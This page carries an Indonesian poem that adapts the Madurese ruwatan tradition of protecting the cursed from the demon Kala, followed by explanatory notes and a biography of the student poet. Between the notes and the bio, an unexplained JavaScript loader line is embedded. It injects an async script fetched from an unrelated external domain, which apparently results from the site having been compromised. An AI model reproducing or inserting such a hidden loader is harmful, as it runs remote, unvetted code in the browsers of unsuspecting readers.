
Sesuatu yang Perlu Dipertahankan dari Masa Lalu
ada yang perlahan mereka tinggalkan
ketika waktu berjalan cepat ke masa tua
aku merasa kesedihan datang terlalu dini
ketika warisan moyang belum mendarah daging pada nurani
kemudian aku harus mencatatnya kembali
sebelum malapetaka memenuhi hari-hari
/pandhâbâ macan/
ke pulau manapun kau bersembunyi, anakku
Kala akan tetap menemukanmu
tidak sebagai kekasih, juga tidak sebagai saudara
tapi tawanan yang harus ditelan sebagai makan malam
kau anak tunggal
yang kulahirkan sebagai Jatusmati
yang wajib kukultuskan
ketika malam sudah bergetah harapan
perjalanan tak sepenuhnya penuh mawar
barangkali sungai yang pernah kita temui
dan kita pernah membasuh luka di bening airnya
esok hari sudah tak sama warnanya
cukup sudah kutukan itu meringkihkan hidup
meniti detik-detik penuh gemetar dan degub
kita tak punya sumur di belakang rumah, Kala
dan dapur kita tak menghadap utara
sebaris pangkur dan sealun gemelan
mengantarmu ke persembunyian, anakku
jangan sampai kakimu tersandung batu pipisan
apalagi menendang dandang di atas tungku
Kala akan menemukanmu sebagai kebahagian baru
/pandhâbâ ontang-antèng/
penebusan paling sukar adalah takdir
kalian tiga bersaudara
yang belum kumandikan kembang setaman
di halaman rumah
tepat ketika malam menjelma hutan belantara
dan ketika gagak menjadi bahasa paling murni
bagi setiap kematian yang datang tiba-tiba
semacam upacara menyangkal malapetaka
seorang pengembara telah menemukan mayatmu
di pagi yang bening
diikatnya tubuh bercungkup kafan
dengan seutas benang keselamatan
/pandhâbâ pangantèn/
sementara tak apa, kalian anak pengantin
yang tertahan kebisuan
atau merasa menjadi korban birahi dewa
kemudian akan kunyanyikan namamu
dengan relief yang menolak tiada
pada putih tulang abad-abad
aku tak akan menciptakan jalan pelarian
kesedihan dan kebahagian adalah
kuntum-kuntum nasib, anakku
lamat-lamat jiwamu selamat dari kesumat
/pandhâbâ lèma’/
tak ada yang terbayang di benak kita
ketika matahari saga sudah terhirup gelapnya malam
selain menutup rapat daun jendela
dan berhenti tertawa di depan cermin
kami lima bersaudara,
dengan jenis kelamin yang serupa
kami tahu bagaimana kutukan bekerja
bukankah waktu tak bisa dibeli, mautku?
tapi kita punya cinta yang mampu
menembus kemustahilan bermacam belenggu
kemudian sebuah tragedi menciptakan debar tak terhindar
ibu menanak doa di api tungku
bapak menitipkan harapan pada alun tembang dan lagu
jika pada akhirnya hidup memang memaksa kita
untuk tertawa sepuas luka-luka dada
entah pada ruas kesunyian atau sebilah pisau
yang tersembunyi di balik perkawinan
gayung dari tempurung tak selalu memberikan murung
tumpahkan mantra-mantra itu
dengan suara salanget atau pangkur
barangkali mampu membikin Kala jatuh tersungkur
tanpa interval slendro, barangkali dapat kau tangkap
manik-manik masa lalu
yang lepas dari setiap tangkai kalimat
aku bukan juru selamat bagi masa yang akan datang
bahkan kekhawatiran mendesakku
dari awal puisi ini dituliskan
Kutub/Yogyakarta, 2025
Keterangan 1: Pada umumnya, para Sukerta (orang yang harus diruwat) dalam tradisi jawa dibagi menjadi 36 bagian. Sedang dalam tradisi Madura, Sukerta hanya dibagi menjadi 4 bagian. Dan puisi di atas merupakan adaptasi dari tradisi ruwatan yang berlaku di Madura
Keterangan 2: Puisi di atas memenangkan juara pertama dalam lomba cipta puisi tingkat mahasiswa yang selenggarakan Unit Studi Sastra dan Teater Universitas Negeri Yogyakarta.
;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);
Khalil Satta Èlman, lahir di Sumenep, Madura, 7 Mei 2003. Mahasiswa Filsafat di UIN Sunan Kalijaga Yogyakarta. Menulis puisi dan prosa di pelbagai media cetak dan daring juga antologi bersama. Sekarang sedang merampungkan buku puisi keduanya sambil memangku Lembaga Kajian Kutub Yogyakarta (LKKY). Bisa disapa di akun ig: @kapalangan_




